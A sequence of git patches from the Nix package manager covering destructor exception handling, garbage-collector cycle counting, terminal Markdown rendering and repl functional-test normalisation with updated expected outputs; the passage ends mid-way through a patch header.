17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 10:24:18 +0200 Subject: [PATCH 1155/1251] Update comment in tests//vars-and-functions.sh Co-authored-by: tomberek --- tests/functional/common/vars-and-functions.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index 7a399f6d4..954435593 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -306,7 +306,8 @@ onError() { # Example (showns as string): 'repl.sh:123: in call to grepQuiet: ' # This function is inefficient, so it should only be used in error messages. callerPrefix() { - # Find the closes caller that's not from this file + # Find the closest caller that's not from this file + # using the bash `caller` builtin. local i file line fn savedFn # Use `caller` for i in $(seq 0 100); do From 498eed0a25ee1707677d56e0ea3628584991453b Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 23 Jul 2024 10:56:29 +0200 Subject: [PATCH 1156/1251] ~FramedSource(): Don't throw an exception if the remote has disconnected This would cause the daemon to crash with a call to terminate(). --- src/libutil/serialise.hh | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/src/libutil/serialise.hh b/src/libutil/serialise.hh index 8254a5f89..8137db5f4 100644 --- a/src/libutil/serialise.hh +++ b/src/libutil/serialise.hh @@ -483,13 +483,17 @@ struct FramedSource : Source ~FramedSource() { - if (!eof) { - while (true) { - auto n = readInt(from); - if (!n) break; - std::vector data(n); - from(data.data(), n); + try { + if (!eof) { + while (true) { + auto n = readInt(from); + if (!n) break; + std::vector data(n); + from(data.data(), n); + } } + } catch (...) { + ignoreException(); } } From eb89e50cbb4584bb42a425089640b2931b723cca Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 16:21:43 +0200 Subject: [PATCH 1157/1251] Rejiggle getGCCycles() for buildNoGc --- src/libexpr/eval-gc.cc | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc index 97b24e3fb..73ab809e5 100644 --- a/src/libexpr/eval-gc.cc +++ b/src/libexpr/eval-gc.cc @@ -206,10 +206,17 @@ static inline void initGCReal() } } +static size_t gcCyclesAfterInit = 0; + +size_t getGCCycles() +{ + assertGCInitialized(); + return static_cast(GC_get_gc_no()) - gcCyclesAfterInit; +} + #endif static bool gcInitialised = false; -static GC_word gcCyclesAfterInit = 0; void initGC() { @@ -218,10 +225,11 @@ void initGC() #if HAVE_BOEHMGC initGCReal(); + + gcCyclesAfterInit = GC_get_gc_no(); #endif gcInitialised = true; - gcCyclesAfterInit = GC_get_gc_no(); } void assertGCInitialized() @@ -229,10 +237,4 @@ void assertGCInitialized() assert(gcInitialised); } -size_t getGCCycles() -{ - assertGCInitialized(); - return GC_get_gc_no() - gcCyclesAfterInit; -} - } // namespace nix From 5d6bc484beab6ff822815b5b26745710d8c86305 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 16:24:43 +0200 Subject: [PATCH 1158/1251] Hide getGCCycles when we have no GC Alternatively, we could make it return 0, but we don't need it in the first place because the caller exists conditionally too. --- src/libexpr/eval-gc.hh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/libexpr/eval-gc.hh b/src/libexpr/eval-gc.hh index 76f019729..005175eb7 100644 --- a/src/libexpr/eval-gc.hh +++ b/src/libexpr/eval-gc.hh @@ -15,9 +15,11 @@ void initGC(); */ void assertGCInitialized(); +#ifdef HAVE_BOEHMGC /** * The number of GC cycles since initGC(). */ size_t getGCCycles(); +#endif -} +} // namespace nix From 2b4e3f04a433d96e779fb91fcd9fa01329413d02 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 16:57:45 +0200 Subject: [PATCH 1159/1251] markdown.cc: Format Slightly custom because the automated formatting messes up the braced initializer with named fields. --- src/libcmd/markdown.cc | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/src/libcmd/markdown.cc b/src/libcmd/markdown.cc index 88c3f640b..882f95faa 100644 --- a/src/libcmd/markdown.cc +++ b/src/libcmd/markdown.cc @@ -4,8 +4,8 @@ #include "terminal.hh" #if HAVE_LOWDOWN -# include -# include +# include +# include #endif namespace nix { @@ -15,7 +15,8 @@ std::string renderMarkdownToTerminal(std::string_view markdown) #if HAVE_LOWDOWN int windowWidth = getWindowSize().second; - struct lowdown_opts opts { + struct lowdown_opts opts + { .type = LOWDOWN_TERM, .maxdepth = 20, .cols = (size_t) std::max(windowWidth - 5, 60), From 97b0114ab84144e3574c74c7fb0e0e38681f3b6a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 16:54:04 +0200 Subject: [PATCH 1160/1251] renderMarkdownToTerminal: Add _NIX_TEST_RAW_MARKDOWN env var For testing only. --- src/libcmd/markdown.cc | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/src/libcmd/markdown.cc b/src/libcmd/markdown.cc index 882f95faa..6a0d05d9f 100644 --- a/src/libcmd/markdown.cc +++ b/src/libcmd/markdown.cc @@ -1,5 +1,6 @@ #include "markdown.hh" -#include "util.hh" +#include "environment-variables.hh" +#include "error.hh" #include "finally.hh" #include "terminal.hh" @@ -10,9 +11,9 @@ namespace nix { -std::string renderMarkdownToTerminal(std::string_view markdown) -{ #if HAVE_LOWDOWN +static std::string doRenderMarkdownToTerminal(std::string_view markdown) +{ int windowWidth = getWindowSize().second; struct lowdown_opts opts @@ -52,9 +53,21 @@ std::string renderMarkdownToTerminal(std::string_view markdown) throw Error("allocation error while rendering Markdown"); return filterANSIEscapes(std::string(buf->data, buf->size), !isTTY()); -#else - return std::string(markdown); -#endif } +std::string renderMarkdownToTerminal(std::string_view markdown) +{ + if (auto e = getEnv("_NIX_TEST_RAW_MARKDOWN"); e && *e == "1") + return std::string(markdown); + else + return doRenderMarkdownToTerminal(markdown); } + +#else +std::string renderMarkdownToTerminal(std::string_view markdown) +{ + return std::string(markdown); +} +#endif + +} // namespace nix From 712ce2feacdc0cde7249ae6da5f8063858e80ae2 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 17:50:51 +0200 Subject: [PATCH 1161/1251] ReadlineLikeInteracter::getLine: Add _NIX_TEST_REPL_ECHO env var ... for testing --- src/libcmd/repl-interacter.cc | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index b285c8a9a..a12e7d8c7 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -19,6 +19,7 @@ extern "C" { #include "repl-interacter.hh" #include "file-system.hh" #include "repl.hh" +#include "environment-variables.hh" namespace nix { @@ -179,6 +180,19 @@ bool ReadlineLikeInteracter::getLine(std::string & input, ReplPromptType promptT return false; input += s; input += '\n'; + +#ifndef USE_READLINE + // editline doesn't echo the input to the output when non-interactive, unlike readline + // this results in a different behavior when running tests. The echoing is + // quite useful for reading the test output, so we add it here. + if (auto e = getEnv("_NIX_TEST_REPL_ECHO"); s && e && *e == "1") + { + // This is probably not right for multi-line input, but we don't use that + // in the characterisation tests, so it's fine. + std::cout << "nix-repl> " << s << std::endl; + } +#endif + return true; } From ca2cc26e12d7264fb141206e0bc35ade2378b8f8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 17:52:28 +0200 Subject: [PATCH 1162/1251] tests/functional/repl: Improve precision and readability ... as well as match buildReadlineNoMarkdown. Unfortunately it doesn't support long inputs or multiline inputs for now. This needs to make better use of the interacter interface. --- src/libcmd/repl-interacter.cc | 16 ++--- tests/functional/repl.sh | 11 ++++ .../repl/doc-comment-curried-args.expected | 26 ++++---- .../repl/doc-comment-curried-args.in | 2 +- .../repl/doc-comment-formals.expected | 13 ++-- .../repl/doc-comment-function.expected | 7 ++- tests/functional/repl/doc-compact.expected | 12 ++-- tests/functional/repl/doc-constant.expected | 60 +++++++++++-------- tests/functional/repl/doc-floatedIn.expected | 12 ++-- .../repl/doc-lambda-flavors.expected | 36 +++++------ .../functional/repl/doc-measurement.expected | 12 ++-- tests/functional/repl/doc-multiply.expected | 22 ++++--- .../functional/repl/doc-unambiguous.expected | 12 ++-- .../repl/pretty-print-idempotent.expected | 12 +++- 14 files changed, 154 insertions(+), 99 deletions(-) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index a12e7d8c7..76fe38780 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -176,22 +176,22 @@ bool ReadlineLikeInteracter::getLine(std::string & input, ReplPromptType promptT return true; } - if (!s) - return false; - input += s; - input += '\n'; - -#ifndef USE_READLINE // editline doesn't echo the input to the output when non-interactive, unlike readline // this results in a different behavior when running tests. The echoing is // quite useful for reading the test output, so we add it here. if (auto e = getEnv("_NIX_TEST_REPL_ECHO"); s && e && *e == "1") { +#ifndef USE_READLINE // This is probably not right for multi-line input, but we don't use that // in the characterisation tests, so it's fine. - std::cout << "nix-repl> " << s << std::endl; - } + std::cout << promptForType(promptType) << s << std::endl; #endif + } + + if (!s) + return false; + input += s; + input += '\n'; return true; } diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index 4f5bb36aa..a6c075abd 100755 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -262,6 +262,14 @@ badExitCode=0 nixVersion="$(nix eval --impure --raw --expr 'builtins.nixVersion' --extra-experimental-features nix-command)" +# I couldn't get readline and editline to agree on the newline before the prompt, +# so let's just force it to be one empty line. Ideally we get the two to agree +# or use a simpler interacter for testing. +stripEmptyLinesBeforePrompt() { + # --null-data: treat input as NUL-terminated instead of newline-terminated + sed --null-data 's/\n\n*nix-repl>/\n\nnix-repl>/g' +} + runRepl () { # That is right, we are also filtering out the testdir _without underscores_. @@ -273,8 +281,11 @@ runRepl () { testDirNoUnderscores="${testDir//_/}" # TODO: pass arguments to nix repl; see lang.sh + _NIX_TEST_RAW_MARKDOWN=1 \ + _NIX_TEST_REPL_ECHO=1 \ nix repl 2>&1 \ | stripColors \ + | stripEmptyLinesBeforePrompt \ | sed \ -e "s@$testDir@/path/to/tests/functional@g" \ -e "s@$testDirNoUnderscores@/path/to/tests/functional@g" \ diff --git a/tests/functional/repl/doc-comment-curried-args.expected b/tests/functional/repl/doc-comment-curried-args.expected index c10c171e1..f97f593c6 100644 --- a/tests/functional/repl/doc-comment-curried-args.expected +++ b/tests/functional/repl/doc-comment-curried-args.expected @@ -1,24 +1,30 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. -Function curriedArgs - … defined at - /path/to/tests/functional/repl/doc-comments.nix:48:5 +nix-repl> :doc curriedArgs +Function `curriedArgs`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:48:5 - A documented function. +A documented function. +nix-repl> x = curriedArgs 1 +nix-repl> "Note that users may not expect this to behave as it currently does" "Note that users may not expect this to behave as it currently does" -Function curriedArgs - … defined at - /path/to/tests/functional/repl/doc-comments.nix:50:5 +nix-repl> :doc x +Function `curriedArgs`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:50:5 - The function returned by applying once +The function returned by applying once -"This won't produce documentation, because we can't actually document arbitrary values" +nix-repl> "This won't produce docs; no support for arbitrary values" +"This won't produce docs; no support for arbitrary values" +nix-repl> :doc x 2 error: value does not have documentation - +nix-repl> diff --git a/tests/functional/repl/doc-comment-curried-args.in b/tests/functional/repl/doc-comment-curried-args.in index 8dbbfc370..06ba21dcc 100644 --- a/tests/functional/repl/doc-comment-curried-args.in +++ b/tests/functional/repl/doc-comment-curried-args.in @@ -3,5 +3,5 @@ x = curriedArgs 1 "Note that users may not expect this to behave as it currently does" :doc x -"This won't produce documentation, because we can't actually document arbitrary values" +"This won't produce docs; no support for arbitrary values" :doc x 2 diff --git a/tests/functional/repl/doc-comment-formals.expected b/tests/functional/repl/doc-comment-formals.expected index 704c0050b..4c9757f89 100644 --- a/tests/functional/repl/doc-comment-formals.expected +++ b/tests/functional/repl/doc-comment-formals.expected @@ -1,13 +1,16 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. +nix-repl> "Note that this is not yet complete" "Note that this is not yet complete" -Function documentedFormals - … defined at - /path/to/tests/functional/repl/doc-comments.nix:57:5 - - Finds x +nix-repl> :doc documentedFormals +Function `documentedFormals`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:57:5 +Finds x +nix-repl> diff --git a/tests/functional/repl/doc-comment-function.expected b/tests/functional/repl/doc-comment-function.expected index 5ec465a96..9718ccc66 100644 --- a/tests/functional/repl/doc-comment-function.expected +++ b/tests/functional/repl/doc-comment-function.expected @@ -1,8 +1,9 @@ Nix Type :? for help. -Function defined at - /path/to/tests/functional/repl/doc-comment-function.nix:2:1 - A doc comment for a file that only contains a function +nix-repl> :doc import ./doc-comment-function.nix +Function defined at /path/to/tests/functional/repl/doc-comment-function.nix:2:1 +A doc comment for a file that only contains a function +nix-repl> diff --git a/tests/functional/repl/doc-compact.expected b/tests/functional/repl/doc-compact.expected index 4b05b653c..17603d813 100644 --- a/tests/functional/repl/doc-compact.expected +++ b/tests/functional/repl/doc-compact.expected @@ -1,11 +1,13 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. -Function compact - … defined at - /path/to/tests/functional/repl/doc-comments.nix:18:20 - - boom +nix-repl> :doc compact +Function `compact`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:18:20 +boom +nix-repl> diff --git a/tests/functional/repl/doc-constant.expected b/tests/functional/repl/doc-constant.expected index c66558333..e0092453e 100644 --- a/tests/functional/repl/doc-constant.expected +++ b/tests/functional/repl/doc-constant.expected @@ -1,23 +1,27 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. +nix-repl> :doc constant error: value does not have documentation -Attribute version +nix-repl> :doc lib.version +Attribute `version` - … defined at - /path/to/tests/functional/repl/doc-comments.nix:30:3 + … defined at /path/to/tests/functional/repl/doc-comments.nix:30:3 - Immovably fixed. +Immovably fixed. -Attribute empty +nix-repl> :doc lib.attr.empty +Attribute `empty` - … defined at - /path/to/tests/functional/repl/doc-comments.nix:33:3 + … defined at /path/to/tests/functional/repl/doc-comments.nix:33:3 - Unchangeably constant. +Unchangeably constant. +nix-repl> :doc lib.attr.undocument error: … while evaluating the attribute 'attr.undocument' at /path/to/tests/functional/repl/doc-comments.nix:33:3: @@ -32,59 +36,65 @@ error: | ^ Did you mean undocumented? -Attribute constant +nix-repl> :doc (import ./doc-comments.nix).constant +Attribute `constant` - … defined at - /path/to/tests/functional/repl/doc-comments.nix:27:3 + … defined at /path/to/tests/functional/repl/doc-comments.nix:27:3 - Firmly rigid. +Firmly rigid. -Attribute version +nix-repl> :doc (import ./doc-comments.nix).lib.version +Attribute `version` - … defined at - /path/to/tests/functional/repl/doc-comments.nix:30:3 + … defined at /path/to/tests/functional/repl/doc-comments.nix:30:3 - Immovably fixed. +Immovably fixed. -Attribute empty +nix-repl> :doc (import ./doc-comments.nix).lib.attr.empty +Attribute `empty` - … defined at - /path/to/tests/functional/repl/doc-comments.nix:33:3 + … defined at /path/to/tests/functional/repl/doc-comments.nix:33:3 - Unchangeably constant. +Unchangeably constant. -Attribute undocumented +nix-repl> :doc (import ./doc-comments.nix).lib.attr.undocumented +Attribute `undocumented` - … defined at - /path/to/tests/functional/repl/doc-comments.nix:35:3 + … defined at /path/to/tests/functional/repl/doc-comments.nix:35:3 - No documentation found. +No documentation found. +nix-repl> :doc missing error: undefined variable 'missing' at «string»:1:1: 1| missing | ^ +nix-repl> :doc constanz error: undefined variable 'constanz' at «string»:1:1: 1| constanz | ^ +nix-repl> :doc missing.attr error: undefined variable 'missing' at «string»:1:1: 1| missing.attr | ^ +nix-repl> :doc lib.missing error: attribute 'missing' missing at «string»:1:1: 1| lib.missing | ^ +nix-repl> :doc lib.missing.attr error: attribute 'missing' missing at «string»:1:1: 1| lib.missing.attr | ^ +nix-repl> :doc lib.attr.undocumental error: … while evaluating the attribute 'attr.undocumental' at /path/to/tests/functional/repl/doc-comments.nix:33:3: @@ -99,4 +109,4 @@ error: | ^ Did you mean undocumented? - +nix-repl> diff --git a/tests/functional/repl/doc-floatedIn.expected b/tests/functional/repl/doc-floatedIn.expected index 30f135725..d3f1c3f65 100644 --- a/tests/functional/repl/doc-floatedIn.expected +++ b/tests/functional/repl/doc-floatedIn.expected @@ -1,11 +1,13 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. -Function floatedIn - … defined at - /path/to/tests/functional/repl/doc-comments.nix:16:5 - - This also works. +nix-repl> :doc floatedIn +Function `floatedIn`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:16:5 +This also works. +nix-repl> diff --git a/tests/functional/repl/doc-lambda-flavors.expected b/tests/functional/repl/doc-lambda-flavors.expected index 43f483ce9..268cac05e 100644 --- a/tests/functional/repl/doc-lambda-flavors.expected +++ b/tests/functional/repl/doc-lambda-flavors.expected @@ -1,29 +1,31 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. -Function nonStrict - … defined at - /path/to/tests/functional/repl/doc-comments.nix:37:70 +nix-repl> :doc nonStrict +Function `nonStrict`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:37:70 - My syntax is not strict, but I'm strict anyway. +My syntax is not strict, but I'm strict anyway. -Function strict - … defined at - /path/to/tests/functional/repl/doc-comments.nix:38:63 +nix-repl> :doc strict +Function `strict`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:38:63 - I don't have to be strict, but I am anyway. +I don't have to be strict, but I am anyway. -Function strictPre - … defined at - /path/to/tests/functional/repl/doc-comments.nix:40:48 +nix-repl> :doc strictPre +Function `strictPre`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:40:48 - Here's one way to do this +Here's one way to do this -Function strictPost - … defined at - /path/to/tests/functional/repl/doc-comments.nix:41:53 - - Here's another way to do this +nix-repl> :doc strictPost +Function `strictPost`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:41:53 +Here's another way to do this +nix-repl> diff --git a/tests/functional/repl/doc-measurement.expected b/tests/functional/repl/doc-measurement.expected index 8598aaedb..14ae11e80 100644 --- a/tests/functional/repl/doc-measurement.expected +++ b/tests/functional/repl/doc-measurement.expected @@ -1,11 +1,13 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. -Function measurement - … defined at - /path/to/tests/functional/repl/doc-comments.nix:13:17 - - 👈 precisely this wide 👉 +nix-repl> :doc measurement +Function `measurement`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:13:17 +👈 precisely this wide 👉 +nix-repl> diff --git a/tests/functional/repl/doc-multiply.expected b/tests/functional/repl/doc-multiply.expected index db82af91f..5cefda516 100644 --- a/tests/functional/repl/doc-multiply.expected +++ b/tests/functional/repl/doc-multiply.expected @@ -1,15 +1,19 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. -Function multiply - … defined at - /path/to/tests/functional/repl/doc-comments.nix:10:14 - - Perform arithmetic multiplication. It's kind of like - repeated addition, very neat. - - | multiply 2 3 - | => 6 +nix-repl> :doc multiply +Function `multiply`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:10:14 +Perform *arithmetic* multiplication. It's kind of like repeated **addition**, very neat. + +```nix +multiply 2 3 +=> 6 +``` + +nix-repl> diff --git a/tests/functional/repl/doc-unambiguous.expected b/tests/functional/repl/doc-unambiguous.expected index 825aa1ee1..0872750a1 100644 --- a/tests/functional/repl/doc-unambiguous.expected +++ b/tests/functional/repl/doc-unambiguous.expected @@ -1,11 +1,13 @@ Nix Type :? for help. + +nix-repl> :l doc-comments.nix Added variables. -Function unambiguous - … defined at - /path/to/tests/functional/repl/doc-comments.nix:24:5 - - Very close +nix-repl> :doc unambiguous +Function `unambiguous`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:24:5 +Very close +nix-repl> diff --git a/tests/functional/repl/pretty-print-idempotent.expected b/tests/functional/repl/pretty-print-idempotent.expected index f38b9b569..f09aec88d 100644 --- a/tests/functional/repl/pretty-print-idempotent.expected +++ b/tests/functional/repl/pretty-print-idempotent.expected @@ -1,29 +1,39 @@ Nix Type :? for help. + +nix-repl> :l pretty-print-idempotent.nix Added variables. +nix-repl> oneDeep { homepage = "https://example.com"; } +nix-repl> oneDeep { homepage = "https://example.com"; } +nix-repl> twoDeep { layerOne = { ... }; } +nix-repl> twoDeep { layerOne = { ... }; } +nix-repl> oneDeepList [ "https://example.com" ] +nix-repl> oneDeepList [ "https://example.com" ] +nix-repl> twoDeepList [ [ ... ] ] +nix-repl> twoDeepList [ [ ... ] ] - +nix-repl> From c4ae9bb45b72c852ecff8bf5d5153951116e2039 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 01:01:00 +0200 Subject: [PATCH 1163/1251] tests/functional/repl: Normalize final prompt --- tests/functional/repl.sh | 15 +++++++++++++-- .../repl/doc-comment-curried-args.expected | 2 -- .../functional/repl/doc-comment-formals.expected | 2 -- .../functional/repl/doc-comment-function.expected | 2 -- tests/functional/repl/doc-compact.expected | 2 -- tests/functional/repl/doc-constant.expected | 2 -- tests/functional/repl/doc-floatedIn.expected | 2 -- tests/functional/repl/doc-lambda-flavors.expected | 2 -- tests/functional/repl/doc-measurement.expected | 2 -- tests/functional/repl/doc-multiply.expected | 2 -- tests/functional/repl/doc-unambiguous.expected | 2 -- .../repl/pretty-print-idempotent.expected | 2 -- 12 files changed, 13 insertions(+), 24 deletions(-) diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index a6c075abd..a149916ac 100755 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -262,14 +262,23 @@ badExitCode=0 nixVersion="$(nix eval --impure --raw --expr 'builtins.nixVersion' --extra-experimental-features nix-command)" +# TODO: write a repl interacter for testing. Papering over the differences between readline / editline and between platforms is a pain. + # I couldn't get readline and editline to agree on the newline before the prompt, -# so let's just force it to be one empty line. Ideally we get the two to agree -# or use a simpler interacter for testing. +# so let's just force it to be one empty line. stripEmptyLinesBeforePrompt() { # --null-data: treat input as NUL-terminated instead of newline-terminated sed --null-data 's/\n\n*nix-repl>/\n\nnix-repl>/g' } +# We don't get a final prompt on darwin, so we strip this as well. +stripFinalPrompt() { + # Strip the final prompt and/or any trailing spaces + sed --null-data \ + -e 's/\(.*[^\n]\)\n\n*nix-repl>[ \n]*$/\1/' \ + -e 's/[ \n]*$/\n/' +} + runRepl () { # That is right, we are also filtering out the testdir _without underscores_. @@ -285,7 +294,9 @@ runRepl () { _NIX_TEST_REPL_ECHO=1 \ nix repl 2>&1 \ | stripColors \ + | tr -d '\0' \ | stripEmptyLinesBeforePrompt \ + | stripFinalPrompt \ | sed \ -e "s@$testDir@/path/to/tests/functional@g" \ -e "s@$testDirNoUnderscores@/path/to/tests/functional@g" \ diff --git a/tests/functional/repl/doc-comment-curried-args.expected b/tests/functional/repl/doc-comment-curried-args.expected index f97f593c6..56607e911 100644 --- a/tests/functional/repl/doc-comment-curried-args.expected +++ b/tests/functional/repl/doc-comment-curried-args.expected @@ -26,5 +26,3 @@ nix-repl> "This won't produce docs; no support for arbitrary values" nix-repl> :doc x 2 error: value does not have documentation - -nix-repl> diff --git a/tests/functional/repl/doc-comment-formals.expected b/tests/functional/repl/doc-comment-formals.expected index 4c9757f89..1024919f4 100644 --- a/tests/functional/repl/doc-comment-formals.expected +++ b/tests/functional/repl/doc-comment-formals.expected @@ -12,5 +12,3 @@ Function `documentedFormals`\ … defined at /path/to/tests/functional/repl/doc-comments.nix:57:5 Finds x - -nix-repl> diff --git a/tests/functional/repl/doc-comment-function.expected b/tests/functional/repl/doc-comment-function.expected index 9718ccc66..3889c4f78 100644 --- a/tests/functional/repl/doc-comment-function.expected +++ b/tests/functional/repl/doc-comment-function.expected @@ -5,5 +5,3 @@ nix-repl> :doc import ./doc-comment-function.nix Function defined at /path/to/tests/functional/repl/doc-comment-function.nix:2:1 A doc comment for a file that only contains a function - -nix-repl> diff --git a/tests/functional/repl/doc-compact.expected b/tests/functional/repl/doc-compact.expected index 17603d813..79f1fd44f 100644 --- a/tests/functional/repl/doc-compact.expected +++ b/tests/functional/repl/doc-compact.expected @@ -9,5 +9,3 @@ Function `compact`\ … defined at /path/to/tests/functional/repl/doc-comments.nix:18:20 boom - -nix-repl> diff --git a/tests/functional/repl/doc-constant.expected b/tests/functional/repl/doc-constant.expected index e0092453e..5787e04dc 100644 --- a/tests/functional/repl/doc-constant.expected +++ b/tests/functional/repl/doc-constant.expected @@ -108,5 +108,3 @@ error: 1| lib.attr.undocumental | ^ Did you mean undocumented? - -nix-repl> diff --git a/tests/functional/repl/doc-floatedIn.expected b/tests/functional/repl/doc-floatedIn.expected index d3f1c3f65..82bb80b95 100644 --- a/tests/functional/repl/doc-floatedIn.expected +++ b/tests/functional/repl/doc-floatedIn.expected @@ -9,5 +9,3 @@ Function `floatedIn`\ … defined at /path/to/tests/functional/repl/doc-comments.nix:16:5 This also works. - -nix-repl> diff --git a/tests/functional/repl/doc-lambda-flavors.expected b/tests/functional/repl/doc-lambda-flavors.expected index 268cac05e..ab5c95639 100644 --- a/tests/functional/repl/doc-lambda-flavors.expected +++ b/tests/functional/repl/doc-lambda-flavors.expected @@ -27,5 +27,3 @@ Function `strictPost`\ … defined at /path/to/tests/functional/repl/doc-comments.nix:41:53 Here's another way to do this - -nix-repl> diff --git a/tests/functional/repl/doc-measurement.expected b/tests/functional/repl/doc-measurement.expected index 14ae11e80..555cac9a2 100644 --- a/tests/functional/repl/doc-measurement.expected +++ b/tests/functional/repl/doc-measurement.expected @@ -9,5 +9,3 @@ Function `measurement`\ … defined at /path/to/tests/functional/repl/doc-comments.nix:13:17 👈 precisely this wide 👉 - -nix-repl> diff --git a/tests/functional/repl/doc-multiply.expected b/tests/functional/repl/doc-multiply.expected index 5cefda516..21523e24c 100644 --- a/tests/functional/repl/doc-multiply.expected +++ b/tests/functional/repl/doc-multiply.expected @@ -15,5 +15,3 @@ Perform *arithmetic* multiplication. It's kind of like repeated **addition**, ve multiply 2 3 => 6 ``` - -nix-repl> diff --git a/tests/functional/repl/doc-unambiguous.expected b/tests/functional/repl/doc-unambiguous.expected index 0872750a1..0db5505d7 100644 --- a/tests/functional/repl/doc-unambiguous.expected +++ b/tests/functional/repl/doc-unambiguous.expected @@ -9,5 +9,3 @@ Function `unambiguous`\ … defined at /path/to/tests/functional/repl/doc-comments.nix:24:5 Very close - -nix-repl> diff --git a/tests/functional/repl/pretty-print-idempotent.expected b/tests/functional/repl/pretty-print-idempotent.expected index f09aec88d..311855dae 100644 --- a/tests/functional/repl/pretty-print-idempotent.expected +++ b/tests/functional/repl/pretty-print-idempotent.expected @@ -35,5 +35,3 @@ nix-repl> twoDeepList [ [ ... ] ] - -nix-repl> From 6e680a664421927cd7d99f956a1e8c4b5bdc7db6 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 01:01:14 +0200 Subject: [PATCH 1164/1251] tests/functional/repl: Improve failure reporting --- tests/functional/repl.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index a149916ac..706e0f5db 100755 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -311,7 +311,10 @@ for test in $(cd "$testDir/repl"; echo *.in); do in="$testDir/repl/$test.in" actual="$testDir/repl/$test.actual" expected="$testDir/repl/$test.expected" - (cd "$testDir/repl"; set +x; runRepl 2>&1) < "$in" > "$actual" + (cd "$testDir/repl"; set +x; runRepl 2>&1) < "$in" > "$actual" || { + echo "FAIL: $test (exit code $?)" >&2 + badExitCode=1 + } diffAndAcceptInner "$test" "$actual" "$expected" done From 7d4d34a27d8d95e8a63d3b3940bd0ee7b623ff82 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 01:02:21 +0200 Subject: [PATCH 1165/1251] eval-gc.cc: Fix warning --- src/libexpr/eval-gc.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc index 73ab809e5..1bc8cd28f 100644 --- a/src/libexpr/eval-gc.cc +++ b/src/libexpr/eval-gc.cc @@ -84,7 +84,9 @@ void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) { void *& sp = *sp_ptr; auto pthread_id = reinterpret_cast(_pthread_id); +# ifndef __APPLE__ pthread_attr_t pattr; +# endif size_t osStackSize; void * osStackLow; void * osStackBase; From 0bd2d363750db35926460cbc4c3e62dcb1d09bf5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 12:53:37 +0200 Subject: [PATCH 1166/1251] Document renderMarkdownToTerminal --- src/libcmd/markdown.hh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/src/libcmd/markdown.hh b/src/libcmd/markdown.hh index a04d32a4f..164f99b98 100644 --- a/src/libcmd/markdown.hh +++ b/src/libcmd/markdown.hh @@ -5,6 +5,13 @@ namespace nix { +/** + * Render the given Markdown text to the terminal. + * + * If Nix is compiled without Markdown support, this function will return the input text as-is. + * + * The renderer takes into account the terminal width, and wraps text accordingly. + */ std::string renderMarkdownToTerminal(std::string_view markdown); } From e48e0cbab0eed9b9174c27d3f3ddfa1afff5186b Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 12:54:40 +0200 Subject: [PATCH 1167/1251] markdown.hh: Improve includes --- 